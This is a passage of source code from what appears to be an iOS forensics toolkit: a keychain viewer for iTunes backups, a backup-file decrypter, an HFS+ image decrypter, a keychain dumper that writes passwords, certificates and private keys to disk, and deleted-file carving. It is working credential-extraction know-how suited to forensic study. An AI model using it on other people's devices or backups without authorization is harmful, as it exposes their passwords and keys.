QtGui, QtCore 5 | from backups.backup4 import MBDB 6 | from keychain.keychain4 import Keychain4 7 | from util.bplist import BPlistReader 8 | from keystore.keybag import Keybag 9 | from util import readPlist 10 | 11 | class KeychainTreeWidget(QtGui.QTreeWidget): 12 | def __init__(self, parent=None): 13 | QtGui.QTreeWidget.__init__(self, parent) 14 | 15 | self.setGeometry(10, 10, 780, 380) 16 | self.header().hide() 17 | self.setColumnCount(2) 18 | 19 | class KeychainTreeWidgetItem(QtGui.QTreeWidgetItem): 20 | def __init__(self, title): 21 | QtGui.QTreeWidgetItem.__init__(self, [title]) 22 | 23 | fnt = self.font(0) 24 | fnt.setBold(True) 25 | self.setFont(0, fnt) 26 | self.setColors() 27 | 28 | def setText(self, column, title): 29 | QtGui.QTreeWidgetItem.setText(self, column, title) 30 | 31 | def setColors(self): 32 | self.setForeground(0, QtGui.QBrush(QtGui.QColor(80, 80, 80))) 33 | self.setBackground(0, QtGui.QBrush(QtGui.QColor(230, 230, 230))) 34 | self.setBackground(1, QtGui.QBrush(QtGui.QColor(230, 230, 230))) 35 | 36 | class LockedKeychainTreeWidgetItem(KeychainTreeWidgetItem): 37 | def setColors(self): 38 | self.setForeground(0, QtGui.QBrush(QtGui.QColor(255, 80, 80))) 39 | self.setBackground(0, QtGui.QBrush(QtGui.QColor(255, 230, 230))) 40 | self.setBackground(1, QtGui.QBrush(QtGui.QColor(255, 230, 230))) 41 | 42 | class KeychainWindow(QtGui.QWidget): 43 | def __init__(self, parent=None): 44 | QtGui.QWidget.__init__(self, parent) 45 | 46 | self.setGeometry(100, 100, 800, 400) 47 | self.setWindowTitle('Keychain Explorer') 48 | 49 | self.passwordTree = KeychainTreeWidget(parent=self) 50 | 51 | def setGenericPasswords(self, pwds): 52 | self.genericPasswords = pwds 53 | 54 | self.passwordItems = KeychainTreeWidgetItem('Generic Passwords') 55 | 56 | for pwd in self.genericPasswords: 57 | if not pwd.has_key('acct'): 58 | continue 59 | if len(pwd['acct']) > 0: 60 | item_title = '%s (%s)' % (pwd['svce'], pwd['acct']) 61 | else: 62 | item_title = pwd['svce'] 63 | 64 | if pwd['data'] is None: 65 | item = LockedKeychainTreeWidgetItem(item_title) 66 | else: 67 | item = KeychainTreeWidgetItem(item_title) 68 | 69 | item.addChild(QtGui.QTreeWidgetItem(['Service', pwd['svce']])) 70 | item.addChild(QtGui.QTreeWidgetItem(['Account', pwd['acct']])) 71 | if pwd['data'] is not None: 72 | item.addChild(QtGui.QTreeWidgetItem(['Data', pwd['data']])) 73 | else: 74 | item.addChild(QtGui.QTreeWidgetItem(['Data', 'N/A'])) 75 | item.addChild(QtGui.QTreeWidgetItem(['Access Group', pwd['agrp']])) 76 | 77 | self.passwordItems.addChild(item) 78 | 79 | self.passwordTree.addTopLevelItem(self.passwordItems) 80 | 81 | self.passwordTree.expandAll() 82 | self.passwordTree.resizeColumnToContents(0) 83 | 84 | def setInternetPasswords(self, pwds): 85 | self.internetPasswords = pwds 86 | 87 | self.internetPasswordItems = KeychainTreeWidgetItem('Internet Passwords') 88 | 89 | for pwd in pwds: 90 | item_title = '%s (%s)' % (pwd['srvr'], pwd['acct']) 91 | 92 | item = KeychainTreeWidgetItem(item_title) 93 | 94 | item.addChild(QtGui.QTreeWidgetItem(['Server', pwd['srvr']])) 95 | item.addChild(QtGui.QTreeWidgetItem(['Account', pwd['acct']])) 96 | if pwd['data'] is not None: 97 | item.addChild(QtGui.QTreeWidgetItem(['Data', pwd['data']])) 98 | else: 99 | item.addChild(QtGui.QTreeWidgetItem(['Data', 'N/A'])) 100 | 101 | item.addChild(QtGui.QTreeWidgetItem(['Port', str(pwd['port'])])) 102 | item.addChild(QtGui.QTreeWidgetItem(['Access Group', pwd['agrp']])) 103 | 104 | self.internetPasswordItems.addChild(item) 105 | 106 | self.passwordTree.addTopLevelItem(self.internetPasswordItems) 107 | 108 | self.passwordTree.expandAll() 109 | self.passwordTree.resizeColumnToContents(0) 110 | 111 | def warn(msg): 112 | print "WARNING: %s" % msg 113 | 114 | def getBackupKeyBag(backupfolder, passphrase): 115 | manifest = readPlist(backupfolder + "/Manifest.plist") 116 | 117 | kb = Keybag(manifest["BackupKeyBag"].data) 118 | 119 | if kb.unlockBackupKeybagWithPasscode(passphrase): 120 | print "BackupKeyBag unlock OK" 121 | return kb 122 | else: 123 | return None 124 | 125 | def main(): 126 | app = QtGui.QApplication(sys.argv) 127 | init_path = "{0:s}/Apple Computer/MobileSync/Backup".format(os.getenv('APPDATA')) 128 | dirname = QtGui.QFileDialog.getExistingDirectory(None, "Select iTunes backup directory", init_path) 129 | kb = getBackupKeyBag(dirname, 'pouet') #XXX: hardcoded password for demo 130 | if not kb: 131 | warn("Backup keybag unlock fail : wrong passcode?") 132 | return 133 | db = MBDB(dirname) 134 | db.keybag = kb 135 | filename, record = db.get_file_by_name("keychain-backup.plist") 136 | keychain_data = db.read_file(filename, record) 137 | 138 | f = file('keychain.tmp', 'wb') 139 | f.write(keychain_data) 140 | f.close() 141 | 142 | kc = Keychain4('keychain.tmp', kb) 143 | 144 | pwds = kc.get_passwords() 145 | inet_pwds = kc.get_inet_passwords() 146 | 147 | qb = KeychainWindow() 148 | qb.setGenericPasswords(pwds) 149 | qb.setInternetPasswords(inet_pwds) 150 | qb.show() 151 | 152 | sys.exit(app.exec_()) 153 | pass 154 | 155 | if __name__ == '__main__': 156 | main() 157 | -------------------------------------------------------------------------------- /python_scripts/backups/backup4.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from hashlib import sha1 3 | from struct import unpack 4 | import os 5 | 6 | MBDB_SIGNATURE = 'mbdb\x05\x00' 7 | 8 | MASK_SYMBOLIC_LINK = 0xa000 9 | MASK_REGULAR_FILE = 0x8000 10 | MASK_DIRECTORY = 0x4000 11 | 12 | def warn(msg): 13 | print "WARNING: %s" % msg 14 | 15 | class MBFileRecord(object): 16 | def __init__(self, mbdb): 17 | self.domain = self._decode_string(mbdb) 18 | if self.domain is None: 19 | warn("Domain name missing from record") 20 | 21 | self.path = self._decode_string(mbdb) 22 | if self.path is None: 23 | warn("Relative path missing from record") 24 | 25 | self.target= self._decode_string(mbdb) # for symbolic links 26 | 27 | self.digest = self._decode_string(mbdb) 28 | self.encryption_key = self._decode_data(mbdb) 29 | 30 | data = mbdb.read(40) # metadata, fixed size 31 | 32 | self.mode, = unpack('>H', data[0:2]) 33 | if not(self.is_regular_file() or self.is_symbolic_link() or self.is_directory()): 34 | print self.mode 35 | warn("File type mising from record mode") 36 | 37 | if self.is_symbolic_link() and self.target is None: 38 | warn("Target required for symblolic links") 39 | 40 | self.inode_number = unpack('>Q', data[2:10]) 41 | self.user_id, = unpack('>I', data[10:14]) 42 | self.group_id = unpack('>I', data[14:18]) 43 | self.last_modification_time, = unpack('>i', data[18:22]) 44 | self.last_status_change_time, = unpack('>i', data[22:26]) 45 | self.birth_time, = unpack('>i', data[26:30]) 46 | self.size, = unpack('>q', data[30:38]) 47 | 48 | if self.size != 0 and not self.is_regular_file(): 49 | warn("Non-zero size for a record which is not a regular file") 50 | 51 | self.protection_class = ord(data[38]) 52 | 53 | num_attributes = ord(data[39]) 54 | if num_attributes == 0: 55 | self.extended_attributes = None 56 | else: 57 | self.extended_attributes = {} 58 | for i in xrange(num_attributes): 59 | k = self._decode_string(mbdb) 60 | v = self._decode_data(mbdb) 61 | self.extended_attributes[k] = v 62 | 63 | def _decode_string(self, s): 64 | s_len, = unpack('>H', s.read(2)) 65 | if s_len == 0xffff: 66 | return None 67 | return s.read(s_len) 68 | 69 | def _decode_data(self, s): 70 | return self._decode_string(s) 71 | 72 | def type(self): 73 | return self.mode & 0xf000 74 | 75 | def is_symbolic_link(self): 76 | return self.type() == MASK_SYMBOLIC_LINK 77 | 78 | def is_regular_file(self): 79 | return self.type() == MASK_REGULAR_FILE 80 | 81 | def is_directory(self): 82 | return self.type() == MASK_DIRECTORY 83 | 84 | class MBDB(object): 85 | def __init__(self, path): 86 | self.files = {} 87 | self.backup_path = path 88 | self.keybag = None 89 | # open the database 90 | mbdb = file(path + '/Manifest.mbdb', 'rb') 91 | 92 | # skip signature 93 | signature = mbdb.read(len(MBDB_SIGNATURE)) 94 | if signature != MBDB_SIGNATURE: 95 | raise Exception("Bad mbdb signature") 96 | try: 97 | while True: 98 | rec = MBFileRecord(mbdb) 99 | fn = rec.domain + "-" + rec.path 100 | sb = sha1(fn).digest().encode('hex') 101 | if len(sb) % 2 == 1: 102 | sb = '0'+sb 103 | self.files[sb] = rec 104 | except: 105 | mbdb.close() 106 | 107 | def get_file_by_name(self, filename): 108 | for (k, v) in self.files.iteritems(): 109 | if v.path == filename: 110 | return (k, v) 111 | return None 112 | 113 | def extract_backup(self, output_path): 114 | for record in self.files.values(): 115 | # create directories if they do not exist 116 | # makedirs throw an exception, my code is ugly =) 117 | if record.is_directory(): 118 | try: 119 | os.makedirs(output_path + '/' + record.path) 120 | except: 121 | pass 122 | 123 | for (filename, record) in self.files.items(): 124 | # skip directories 125 | if record.is_directory(): 126 | continue 127 | self.extract_file(filename, record, output_path) 128 | 129 | def extract_file(self, filename, record, output_path): 130 | # adjust output file name 131 | if record.is_symbolic_link(): 132 | out_file = record.target 133 | else: 134 | out_file = record.path 135 | 136 | file_data = self.read_file(filename, record) 137 | # write output file 138 | if file_data: 139 | print("Writing %s" % out_file) 140 | f = file(output_path + '/' + out_file, 'wb') 141 | f.write(file_data) 142 | f.close() 143 | 144 | def read_file(self, filename, record): 145 | # read backup file 146 | try: 147 | f = file(self.backup_path + '/' + filename, 'rb') 148 | file_data = f.read() 149 | f.close() 150 | except(IOError): 151 | warn("File %s (%s) has not been found" % (filename, record.path)) 152 | return 153 | 154 | if record.encryption_key is not None and self.keybag: # file is encrypted! 155 | key = self.keybag.unwrapKeyForClass(record.protection_class, record.encryption_key[4:]) 156 | if not key: 157 | warn("Cannot unwrap key") 158 | return 159 | c = AES.new(key, AES.MODE_CBC) 160 | file_data = c.decrypt(file_data) 161 | padding = file_data[record.size:] 162 | if len(padding) > AES.block_size or padding != chr(len(padding)) * len(padding): 163 | warn("Incorrect padding for file %s" % record.path) 164 | file_data = file_data[:record.size] 165 | return file_data 166 | 167 | -------------------------------------------------------------------------------- /emf_decrypter/emf/emf_decrypter.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "emf.h" 11 | 12 | char endianness; 13 | 14 | void TestByteOrder() 15 | { 16 | short int word = 0x0001; 17 | char *byte = (char *) &word; 18 | endianness = byte[0] ? IS_LITTLE_ENDIAN : IS_BIG_ENDIAN; 19 | } 20 | 21 | void iv_for_lba(uint32_t lba, uint32_t* iv) 22 | { 23 | int i; 24 | for(i = 0; i < 4; i++) 25 | { 26 | if(lba & 1) 27 | lba = 0x80000061 ^ (lba >> 1); 28 | else 29 | lba = lba >> 1; 30 | iv[i] = lba; 31 | } 32 | } 33 | 34 | int EMF_unwrap_filekey_forclass(EMFInfo* emf, uint8_t* wrapped_file_key, uint32_t protection_class_id, AES_KEY* file_key) 35 | { 36 | uint8_t fk[32]={0}; 37 | 38 | if (protection_class_id < 1 || protection_class_id >= MAX_CLASS_KEYS) 39 | return -1; 40 | 41 | if ((emf->classKeys_bitset & (1 << protection_class_id)) == 0) 42 | { 43 | printf("Class key %d not available\n", protection_class_id); 44 | return -1; 45 | } 46 | 47 | if(AES_unwrap_key(&(emf->classKeys[protection_class_id-1]), NULL, fk, wrapped_file_key, 40)!= 32) 48 | { 49 | fprintf(stderr, "EMF_unwrap_filekey_forclass unwrap FAIL, protection_class_id=%d\n", protection_class_id); 50 | return -1; 51 | } 52 | AES_set_decrypt_key(fk, 32*8, file_key); 53 | 54 | return 0; 55 | } 56 | 57 | void EMF_fix_and_decrypt_block(EMFInfo* emf, uint8_t* buffer, uint32_t lba, uint32_t blockSize, AES_KEY* filekey) 58 | { 59 | uint32_t volumeOffset = emf->volume_offset; 60 | uint32_t iv[4]; 61 | 62 | //reencrypt with emf key to get correct ciphertext 63 | iv_for_lba(volumeOffset + lba, iv); 64 | AES_cbc_encrypt(buffer, buffer, blockSize, &(emf->emfkey), (uint8_t*) iv, AES_ENCRYPT); 65 | 66 | //decrypt with file key 67 | iv_for_lba(volumeOffset + lba, iv); 68 | AES_cbc_encrypt(buffer, buffer, blockSize, filekey, (uint8_t*) iv, AES_DECRYPT); 69 | } 70 | 71 | int EMF_decrypt_file_blocks(EMFInfo* emf, HFSPlusCatalogFile* file, uint8_t* wrapped_file_key, uint32_t protection_class) 72 | { 73 | AES_KEY filekey; 74 | 75 | if( EMF_unwrap_filekey_forclass(emf, wrapped_file_key, protection_class, &filekey)) 76 | { 77 | return -1; 78 | } 79 | 80 | io_func* io = openRawFile(file->fileID, &file->dataFork, (HFSPlusCatalogRecord*)file, emf->volume); 81 | if(io == NULL) 82 | { 83 | fprintf(stderr, "openRawFile %d FAIL!\n", file->fileID); 84 | return -1; 85 | } 86 | RawFile* rawFile = (RawFile*) io->data; 87 | Extent* extent = rawFile->extents; 88 | uint32_t blockSize = emf->volume->volumeHeader->blockSize; 89 | uint32_t i; 90 | uint8_t* buffer = malloc(blockSize); 91 | 92 | if(buffer == NULL) 93 | return -1; 94 | 95 | //decrypt all blocks in all extents 96 | //the last block can contain stuff from erased files maybe ? 97 | while( extent != NULL) 98 | { 99 | for(i=0; i < extent->blockCount; i++) 100 | { 101 | if(READ(emf->volume->image, (extent->startBlock + i) * blockSize, blockSize, buffer)) 102 | { 103 | EMF_fix_and_decrypt_block(emf, buffer, extent->startBlock + i, blockSize, &filekey); 104 | 105 | //write back to image 106 | WRITE(emf->volume->image, (extent->startBlock + i) * blockSize, blockSize, buffer); 107 | } 108 | } 109 | extent = extent->next; 110 | } 111 | 112 | free(buffer); 113 | return 0; 114 | } 115 | 116 | int EMF_decrypt_folder(EMFInfo* emf, HFSCatalogNodeID folderID) 117 | { 118 | CatalogRecordList* list; 119 | CatalogRecordList* theList; 120 | HFSPlusCatalogFolder* folder; 121 | HFSPlusCatalogFile* file; 122 | char* name; 123 | cprotect_xattr_v2* cprotect_xattr; 124 | uint8_t* wrapped_file_key; 125 | 126 | theList = list = getFolderContents(folderID, emf->volume); 127 | 128 | while(list != NULL) 129 | { 130 | name = unicodeToAscii(&list->name); 131 | 132 | if(list->record->recordType == kHFSPlusFolderRecord) 133 | { 134 | folder = (HFSPlusCatalogFolder*)list->record; 135 | EMF_decrypt_folder(emf, folder->folderID); 136 | } 137 | else if(list->record->recordType == kHFSPlusFileRecord) 138 | { 139 | file = (HFSPlusCatalogFile*)list->record; 140 | 141 | size_t attr_len = getAttribute(emf->volume, file->fileID, "com.apple.system.cprotect", (uint8_t**) &cprotect_xattr); 142 | 143 | if(cprotect_xattr != NULL && attr_len > 0) 144 | { 145 | if (cprotect_xattr->xattr_major_version == 2 && attr_len == CPROTECT_V2_LENGTH) 146 | { 147 | printf("Decrypting %s\n", name); 148 | if(!EMF_decrypt_file_blocks(emf, file, cprotect_xattr->persistent_key, cprotect_xattr->persistent_class)) 149 | { 150 | //TODO HAX: update cprotect xattr version field (bit1) to mark file as decrypted ? 151 | //cprotect_xattr->version |= 1; 152 | //setAttribute(volume, file->fileID, "com.apple.system.cprotect", (uint8_t*) cprotect_xattr, CPROTECT_V2_LENGTH); 153 | } 154 | } 155 | else if (cprotect_xattr->xattr_major_version == 4 && attr_len == CPROTECT_V4_LENGTH) 156 | { 157 | //not just yet :) 158 | } 159 | else if (cprotect_xattr->xattr_major_version & 1) 160 | { 161 | //TODO: file already decrypted by this tool ? 162 | } 163 | else 164 | { 165 | fprintf(stderr, "Unknown cprotect xattr version/length : %x/%zx\n", cprotect_xattr->xattr_major_version, attr_len); 166 | } 167 | } 168 | } 169 | 170 | free(name); 171 | list = list->next; 172 | } 173 | releaseCatalogRecordList(theList); 174 | } 175 | 176 | int main(int argc, const char *argv[]) { 177 | io_func* io; 178 | Volume* volume; 179 | 180 | TestByteOrder(); 181 | 182 | if(argc < 2) { 183 | printf("usage: %s \n", argv[0]); 184 | return 0; 185 | } 186 | 187 | io = openFlatFile(argv[1]); 188 | 189 | if(io == NULL) { 190 | fprintf(stderr, "error: Cannot open image-file.\n"); 191 | return 1; 192 | } 193 | 194 | volume = openVolume(io); 195 | if(volume == NULL) { 196 | fprintf(stderr, "error: Cannot open volume.\n"); 197 | CLOSE(io); 198 | return 1; 199 | } 200 | printf("WARNING ! This tool will modify the hfs image and possibly wreck it if something goes wrong !\n" 201 | "Make sure to backup the image before proceeding\n"); 202 | printf("Press a key to continue or CTRL-C to abort\n"); 203 | getchar(); 204 | 205 | char* dir = dirname((char*)argv[1]); 206 | EMFInfo* emf = EMF_init(volume, dir); 207 | 208 | if(emf != NULL) 209 | { 210 | EMF_decrypt_folder(emf, kHFSRootFolderID); 211 | } 212 | 213 | closeVolume(volume); 214 | CLOSE(io); 215 | 216 | return 0; 217 | } 218 | -------------------------------------------------------------------------------- /python_scripts/keychain/keychain.py: -------------------------------------------------------------------------------- 1 | from store import PlistKeychain, SQLiteKeychain 2 | from util import write_file 3 | from util.bplist import BPlistReader 4 | from util.cert import RSA_KEY_DER_to_PEM 5 | import M2Crypto 6 | import hashlib 7 | import plistlib 8 | import sqlite3 9 | import string 10 | 11 | printset = set(string.printable) 12 | 13 | def render_password(p): 14 | data = p["data"] 15 | if data != None and data.startswith("bplist") and data.find("\x00") != -1: 16 | pl = BPlistReader.plistWithString(p["data"]) 17 | filename = "%s_%s_%d.plist" % (p["svce"],p["acct"],p["rowid"]) 18 | plistlib.writePlist(pl, filename) 19 | #write_file("bin_"+filename, p["data"]) 20 | data = filename 21 | 22 | if p.has_key("srvr"): 23 | return "%s:%d;%s;%s" % (p["srvr"],p["port"],p["acct"],data) 24 | else: 25 | return "%s;%s;%s" % (p["svce"],p["acct"],data) 26 | 27 | class Keychain(object): 28 | def __init__(self, filename): 29 | magic = open(filename, "rb").read(16) 30 | if magic.startswith("SQLite"): 31 | self.store = SQLiteKeychain(filename) 32 | elif magic.startswith("bplist"): 33 | self.store = PlistKeychain(filename) 34 | else: 35 | raise Exception("Unknown keychain format for %s" % filename) 36 | self.bsanitize = True 37 | self.items = {"genp": None, "inet": None, "cert": None, "keys": None} 38 | 39 | def decrypt_data(self, data): 40 | return data #override this method 41 | 42 | def decrypt_item(self, res): 43 | res["data"] = self.decrypt_data(res["data"]) 44 | if not res["data"]: 45 | return {} 46 | return res 47 | 48 | def get_items(self, table): 49 | if self.items[table]: 50 | return self.items[table] 51 | self.items[table] = filter(lambda x:x!={}, map(self.decrypt_item, self.store.get_items(table))) 52 | return self.items[table] 53 | 54 | def get_passwords(self): 55 | return self.get_items("genp") 56 | 57 | def get_inet_passwords(self): 58 | return self.get_items("inet") 59 | 60 | def get_keys(self): 61 | return self.get_items("keys") 62 | 63 | def get_cert(self): 64 | return self.get_items("cert") 65 | 66 | def get_certs(self): 67 | certs = {} 68 | pkeys = {} 69 | keys = self.get_keys() 70 | for row in self.get_cert(): 71 | cert = M2Crypto.X509.load_cert_der_string(row["data"]) 72 | subject = cert.get_subject().as_text() 73 | common_name = cert.get_subject().get_entries_by_nid(M2Crypto.X509.X509_Name.nid['CN']) 74 | if len(common_name): 75 | subject = str(common_name[0].get_data()) 76 | else: 77 | subject = "cn_unknown_%d" % row["rowid"] 78 | certs[subject+ "_%s" % row["agrp"]] = cert 79 | 80 | for k in keys: 81 | if k["agrp"] == row["agrp"] and k["klbl"] == row["pkhh"]: 82 | pkey_der = k["data"] 83 | pkey_der = RSA_KEY_DER_to_PEM(pkey_der) 84 | pkeys[subject + "_%s" % row["agrp"]] = pkey_der 85 | break 86 | 87 | return certs, pkeys 88 | 89 | 90 | def save_passwords(self): 91 | passwords = "\n".join(map(render_password, self.get_passwords())) 92 | inetpasswords = "\n".join(map(render_password, self.get_inet_passwords())) 93 | print "Writing passwords to keychain.csv" 94 | write_file("keychain.csv", "Passwords;;\n"+passwords+"\nInternet passwords;;\n"+ inetpasswords) 95 | 96 | def save_certs_keys(self): 97 | certs, pkeys = self.get_certs() 98 | for c in certs: 99 | filename = c + ".crt" 100 | print "Saving certificate %s" % filename 101 | certs[c].save_pem(filename) 102 | for k in pkeys: 103 | filename = k + ".key" 104 | print "Saving key %s" % filename 105 | write_file(filename, pkeys[k]) 106 | 107 | def sanitize(self, pw): 108 | if pw.startswith("bplist"): 109 | return "" 110 | elif not set(pw).issubset(printset): 111 | pw = " : " + pw.encode("hex") 112 | if self.bsanitize: 113 | return pw[:2] + ("*" * (len(pw) - 2)) 114 | return pw 115 | 116 | def print_all(self, sanitize=True): 117 | self.bsanitize = sanitize 118 | print "-"*60 119 | print " " * 20 + "Passwords" 120 | print "-"*60 121 | 122 | for p in self.get_passwords(): 123 | print "Service :\t" + p["svce"] 124 | print "Account :\t" + str(p["acct"]) 125 | print "Password :\t" + self.sanitize(p["data"]) 126 | print "Agrp :\t" + p["agrp"] 127 | print "-"*60 128 | 129 | for p in self.get_inet_passwords(): 130 | print "Server : \t" + p["srvr"] + ":" + str(p["port"]) 131 | print "Account : \t" + str(p["acct"]) 132 | print "Password : \t" + self.sanitize(p["data"]) 133 | print "-"*60 134 | 135 | certs, pkeys = self.get_certs() 136 | 137 | print " " * 20 + "Certificates" 138 | print "-"*60 139 | for c in sorted(certs.keys()): 140 | print c 141 | 142 | print "-"*60 143 | print " " * 20 + "Private keys" 144 | 145 | for k in sorted(pkeys.keys()): 146 | print k 147 | print "-"*60 148 | 149 | def get_push_token(self): 150 | for p in self.get_passwords(): 151 | if p["svce"] == "push.apple.com": 152 | return p["data"] 153 | 154 | def get_managed_configuration(self): 155 | for p in self.get_passwords(): 156 | if p["acct"] == "Private" and p["svce"] == "com.apple.managedconfiguration" and p["agrp"] == "apple": 157 | return BPlistReader.plistWithString(p["data"]) 158 | 159 | def _diff(self, older, res, func, key): 160 | res.setdefault(key, []) 161 | current = func(self) 162 | for p in func(older): 163 | if not p in current and not p in res[key]: 164 | res[key].append(p) 165 | 166 | def diff(self, older, res): 167 | self._diff(older, res, Keychain.get_passwords, "genp") 168 | self._diff(older, res, Keychain.get_inet_passwords, "inet") 169 | self._diff(older, res, Keychain.get_cert, "cert") 170 | self._diff(older, res, Keychain.get_keys, "keys") 171 | -------------------------------------------------------------------------------- /python_scripts/hfs/journal.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | from Crypto.Cipher import AES 3 | from emf import cprotect_xattr, cprotect4_xattr, EMFFile 4 | from structs import * 5 | from util import write_file 6 | 7 | """ 8 | Implementation of the following paper : 9 | Using the HFS+ Journal For Deleted File Recovery. Aaron Burghardt, Adam Feldman. DFRWS 2008 10 | http://www.dfrws.org/2008/proceedings/p76-burghardt.pdf 11 | http://www.dfrws.org/2008/proceedings/p76-burghardt_pres.pdf 12 | """ 13 | 14 | def carveBtreeNode(node, kClass, dClass): 15 | try: 16 | btnode = BTNodeDescriptor.parse(node) 17 | 18 | if btnode.kind == kBTLeafNode: 19 | off = BTNodeDescriptor.sizeof() 20 | recs = [] 21 | offsets = Array(btnode.numRecords, UBInt16("off")).parse(node[-2*btnode.numRecords:]) 22 | for i in xrange(btnode.numRecords): 23 | off = offsets[btnode.numRecords-i-1] 24 | k = kClass.parse(node[off:]) 25 | off += 2 + k.keyLength 26 | d = dClass.parse(node[off:]) 27 | recs.append((k,d)) 28 | return recs 29 | return [] 30 | except: 31 | return [] 32 | 33 | """ 34 | for standard HFS volumes 35 | """ 36 | def carveHFSVolumeJournal(volume): 37 | journal = volume.readJournal() 38 | hdr = journal_header.parse(journal) 39 | sector_size = hdr.jhdr_size 40 | nodeSize = volume.catalogTree.nodeSize 41 | 42 | f={} 43 | for i in xrange(0,len(journal), sector_size): 44 | for k,v in carveBtreeNode(journal[i:i+nodeSize],HFSPlusCatalogKey, HFSPlusCatalogData): 45 | if v.recordType == kHFSPlusFileRecord: 46 | name = getString(k) 47 | h = hashlib.sha1(HFSPlusCatalogKey.build(k)).digest() 48 | if f.has_key(h): 49 | continue 50 | if volume.catalogTree.searchByCNID(v.data.fileID) == (None, None): 51 | if volume.isBlockInUse(v.data.dataFork.HFSPlusExtentDescriptor[0].startBlock) == False: 52 | print "deleted file", v.data.fileID, name 53 | fileid = v.data.fileID 54 | f[h]=(name, v) 55 | return f.values() 56 | 57 | 58 | magics=["SQLite", "bplist", "= 4: 80 | cprotect_struct_type = cprotect4_xattr 81 | 82 | for i in xrange(0,len(journal),sector_size): 83 | for k,v in carveBtreeNode(journal[i:i+nodeSize],HFSPlusCatalogKey, HFSPlusCatalogData): 84 | if v.recordType == kHFSPlusFileRecord: 85 | name = getString(k) 86 | h = hashlib.sha1(HFSPlusCatalogKey.build(k)).digest() 87 | if files.has_key(h): 88 | continue 89 | if volume.catalogTree.searchByCNID(v.data.fileID) == (None, None): 90 | #we only keep files where the first block is not marked as in use 91 | if volume.isBlockInUse(v.data.dataFork.HFSPlusExtentDescriptor[0].startBlock) == False: 92 | print "Found deleted file record", v.data.fileID, name 93 | files[h] = (name,v) 94 | for k,v in carveBtreeNode(journal[i:i+nodeSize],HFSPlusAttrKey, HFSPlusAttrData): 95 | if getString(k) == "com.apple.system.cprotect": 96 | if volume.catalogTree.searchByCNID(k) == (None, None): 97 | filekeys = keys.setdefault(k.fileID, []) 98 | try: 99 | cprotect = cprotect_struct_type.parse(v.data) 100 | except: 101 | continue 102 | #assert cprotect.xattr_major_version == 2 103 | filekey = volume.keystore.unwrapKeyForClass(cprotect.persistent_class, cprotect.persistent_key) 104 | if filekey and not filekey in filekeys: 105 | print "Found key for file", k.fileID 106 | filekeys.append(filekey) 107 | 108 | return files.values(), keys 109 | 110 | """ 111 | "bruteforce" method, tries to decrypt all unallocated blocks with provided file keys 112 | this is a hack, don't expect interesting results with this 113 | """ 114 | def carveEMFemptySpace(volume, file_keys, outdir): 115 | for lba, block in volume.unallocatedBlocks(): 116 | iv = volume.ivForLBA(lba) 117 | for filekey in file_keys: 118 | ciphertext = AES.new(volume.emfkey, AES.MODE_CBC, iv).encrypt(block) 119 | clear = AES.new(filekey, AES.MODE_CBC, iv).decrypt(ciphertext) 120 | if isDecryptedCorrectly(clear): 121 | print "Decrypted stuff at lba %x" % lba 122 | open(outdir+ "/%x.bin" % lba, "wb").write(clear) 123 | 124 | 125 | def do_emf_carving(volume, carveokdir, carvenokdir): 126 | deletedFiles, filekeys = carveEMFVolumeJournal(volume) 127 | 128 | print "Journal carving done, trying to extract deleted files" 129 | n = 0 130 | for name, vv in deletedFiles: 131 | for filekey in filekeys.get(vv.data.fileID, []): 132 | ff = EMFFile(volume,vv.data.dataFork, vv.data.fileID, filekey, deleted=True) 133 | data = ff.readAllBuffer() 134 | if isDecryptedCorrectly(data): 135 | write_file(carveokdir + "%s_%s" % (filekey.encode("hex")[:8],name.replace("/","_")),data) 136 | n += 1 137 | else: 138 | write_file(carvenokdir + "%s_%s" % (filekey.encode("hex")[:8],name.replace("/","_")),data) 139 | if not filekeys.has_key(vv.data.fileID): 140 | print "Missing file key for", name 141 | else: 142 | del filekeys[vv.data.fileID] 143 | 144 | print "Done, extracted %d files" % n 145 | 146 | if False: 147 | fks = set(reduce(lambda x,y: x+y, filekeys.values())) 148 | print "%d file keys left, try carving empty space (slow) ? CTRL-C to exit" % len(fks) 149 | raw_input() 150 | carveEMFemptySpace(volume, fks) -------------------------------------------------------------------------------- /ramdisk_tools/bsdcrypto/sha1.c: -------------------------------------------------------------------------------- 1 | /* $OpenBSD: sha1.c,v 1.9 2011/01/11 15:50:40 deraadt Exp $ */ 2 | 3 | /* 4 | * SHA-1 in C 5 | * By Steve Reid 6 | * 100% Public Domain 7 | * 8 | * Test Vectors (from FIPS PUB 180-1) 9 | * "abc" 10 | * A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D 11 | * "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" 12 | * 84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1 13 | * A million repetitions of "a" 14 | * 34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F 15 | */ 16 | 17 | /* #define LITTLE_ENDIAN * This should be #define'd already, if true. */ 18 | /* #define SHA1HANDSOFF * Copies data before messing with it. */ 19 | 20 | #define SHA1HANDSOFF 21 | 22 | #include 23 | #include 24 | 25 | #include "sha1.h" 26 | 27 | #define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits)))) 28 | 29 | /* blk0() and blk() perform the initial expand. */ 30 | /* I got the idea of expanding during the round function from SSLeay */ 31 | #if BYTE_ORDER == LITTLE_ENDIAN 32 | #define blk0(i) (block->l[i] = (rol(block->l[i],24)&0xFF00FF00) \ 33 | |(rol(block->l[i],8)&0x00FF00FF)) 34 | #else 35 | #define blk0(i) block->l[i] 36 | #endif 37 | #define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \ 38 | ^block->l[(i+2)&15]^block->l[i&15],1)) 39 | 40 | /* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */ 41 | #define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(i)+0x5A827999+rol(v,5);w=rol(w,30); 42 | #define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30); 43 | #define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5);w=rol(w,30); 44 | #define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30); 45 | #define R4(v,w,x,y,z,i) 